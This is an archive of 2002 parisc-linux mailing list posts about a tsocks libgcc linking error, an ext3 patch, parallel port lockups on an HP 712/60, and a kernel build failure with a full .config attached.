X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14166

> Has anyone used tsocks successfully?  I just installed the latest with
> apt-get (tsocks version 1.7-4) and receive the following error on use:
> 
> relocation error: /usr/lib/libtsocks.so: undefined symbol: $$dyncall

$$dyncall is in libgcc.a.  The link command for the library should
include -lgcc at the end of the library list.

As a side note, there was extensive discussion about the inclusion of the
PA millicode routines in libgcc after problems arose on one port linking
both shared and static versions of libgcc when creating shared libraries.
The fallout from changing how libgcc is linked is still being worked out.

A decision was reached that only the shared libgcc should be used when
creating shared libraries (it's actually more complicated than that
because the new binutils allows undefined symbols) and the PA milli
routines should be moved to another location because they must be
linked statically.  The options include putting them into a separate
libmilli.a (the linker has support for automatically linking in
the library) or in the static part of libc.

If somebody wants to put these functions in libc, let me know.  Otherwise
I will create a libmilli.a in gcc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tsocks Error
Date: Mon, 25 Feb 2002 18:05:24 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20020225180524.C20667@parcelfarce.linux.theplanet.co.uk>
References: <2F1E6AB90ECAD311943700A0C9E3B15408002AA8@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621103 3859 80.91.229.3 (22 Nov 2014 01:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 11:05:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F1494841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 11:05:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16fPV6-0006SV-00; Mon, 25 Feb 2002 18:05:24 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <2F1E6AB90ECAD311943700A0C9E3B15408002AA8@xatl03.atl.hp.com>; from dennis_faucher@hp.com on Mon, Feb 25, 2002 at 08:51:57AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14167

On Mon, Feb 25, 2002 at 08:51:57AM -0800, FAUCHER,DENNIS (HP-USA,ex1) wrote:
> Hello,
> 
> Has anyone used tsocks successfully?  I just installed the latest with
> apt-get (tsocks version 1.7-4) and receive the following error on use:
> 
> relocation error: /usr/lib/libtsocks.so: undefined symbol: $$dyncall

This tends to indicate the package was built wrongly -- eg linked with ld
instead of with gcc.  everyone around here uses dante rather than tsocks.
Unfortunately, this package was built before anyone was using the build
log system, so I can't tell what it did.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ext3 patch
Date: Mon, 25 Feb 2002 11:07:48 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20020225180748.4213C4848@dsl2.external.hp.com>
References: <20020225080205.GC32703@charite.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621104 3862 80.91.229.3 (22 Nov 2014 01:51:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:44 +0000 (UTC)
To: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 11:07:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4213C4848; Mon, 25 Feb 2002 11:07:48 -0700 (MST)
In-Reply-To: Message from Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> 
   of "Mon, 25 Feb 2002 09:02:05 +0100." <20020225080205.GC32703@charite.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14168

Ralf Hildebrandt wrote:
> a) It will be in 2.4.18 anyway

If it will be in 2.4.18, I expect merging everything from 2.4.18
in one shot would be easier. If you give me a clean diff,
I'd be happy to post that on ftp.p-l.org/patches

thanks,
grant



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parallel port woes
Date: Mon, 25 Feb 2002 13:44:21 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <003301c1be2c$70daa3e0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621104 3865 80.91.229.3 (22 Nov 2014 01:51:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 11:44:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail16.sdc1.sfba.home.com (femail16.sdc1.sfba.home.com [24.0.95.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9CB7483F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 11:44:28 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail16.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020225184422.RJFO1329.femail16.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 25 Feb 2002 10:44:22 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14169

i'm still having complete lockup of the machine when i send a printjob to
the local parallel port

it seems to be completely independant of the printing system i use - both
lpd & cups cause the same lockup

nothing actually seems to get as far as the printer, but cups seems to be
working ok, as i can print to the same printer shared up from a windows
machine

using kernel 2.4.17-32  on a 712/60 with an hp deskjet 500 on a standard
parallel cable

am i missing anything obvious ?

does the 712/60 have a standard printer port or do i need a special cable ?

Thanks

James S






From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Dutot_St=E9phane?= <stephane.dutot@exlicite.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem to compile kernel form CVS.
Date: Mon, 25 Feb 2002 19:54:00 +0100
Lines: 538
Approved: news@gmane.org
Message-ID: <02c001c1be2d$c97b20a0$9601a8c0@utopia>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621104 3866 80.91.229.3 (22 Nov 2014 01:51:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 11:54:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from aubade.exlicite.net (aubade.exlicite.net [80.65.226.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 358A8483D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 11:54:03 -0700 (MST)
Original-Received: from mail (helo=utopia)
	by aubade.exlicite.net with local-smtp (Exim 3.33 #5 (Debian))
	id 16fQG3-0003E8-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 19:53:55 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14170

Hi,

I try to compil the last kernel version from CVS.

When i launch a "make dep". I have this error message.

make[2]: Leaving directory `/usr/src/linux/arch/parisc/math-emu'
make -C arch/parisc/kdb fastdep
make: *** arch/parisc/kdb: No such file or directory.  Stop.
make: Entering an unknown directorymake: Leaving an unknown
directorymake[1]: *** [_sfdep_arch/parisc/kdb] Error 2
make[1]: Leaving directory `/usr/src/linux'
make: *** [dep-files] Error 2

Have you some idea to solve this problem ?

Thanks Stphane Dutot

------------------------------------------------
Copy of .config

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
CONFIG_KWDB=y
CONFIG_IOMMU_CCIO=y
# CONFIG_GSC is not set
# CONFIG_GSC_LASI is not set
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
# CONFIG_ISA is not set
# CONFIG_PCI is not set

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=6144
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
# CONFIG_NETLINK_DEV is not set
# CONFIG_NETFILTER is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
CONFIG_DUMMY=y
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_LASI_82596 is not set
# CONFIG_SUNLANCE is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNLANCE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
# CONFIG_PPP_DEFLATE is not set
# CONFIG_PPP_BSDCOMP is not set
CONFIG_PPPOE=y
CONFIG_SLIP=y
# CONFIG_SLIP_COMPRESSED is not set
# CONFIG_SLIP_SMART is not set
# CONFIG_SLIP_MODE_SLIP6 is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
CONFIG_AUTOFS_FS=y
CONFIG_AUTOFS4_FS=y
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
CONFIG_RAMFS=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
CONFIG_UDF_FS=y
# CONFIG_UDF_RW is not set
CONFIG_UFS_FS=y
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y




From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA EEPROM patch
Date: Mon, 25 Feb 2002 20:05:32 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0202252002560.24957-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621105 3867 80.91.229.3 (22 Nov 2014 01:51:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:45 +0000 (UTC)
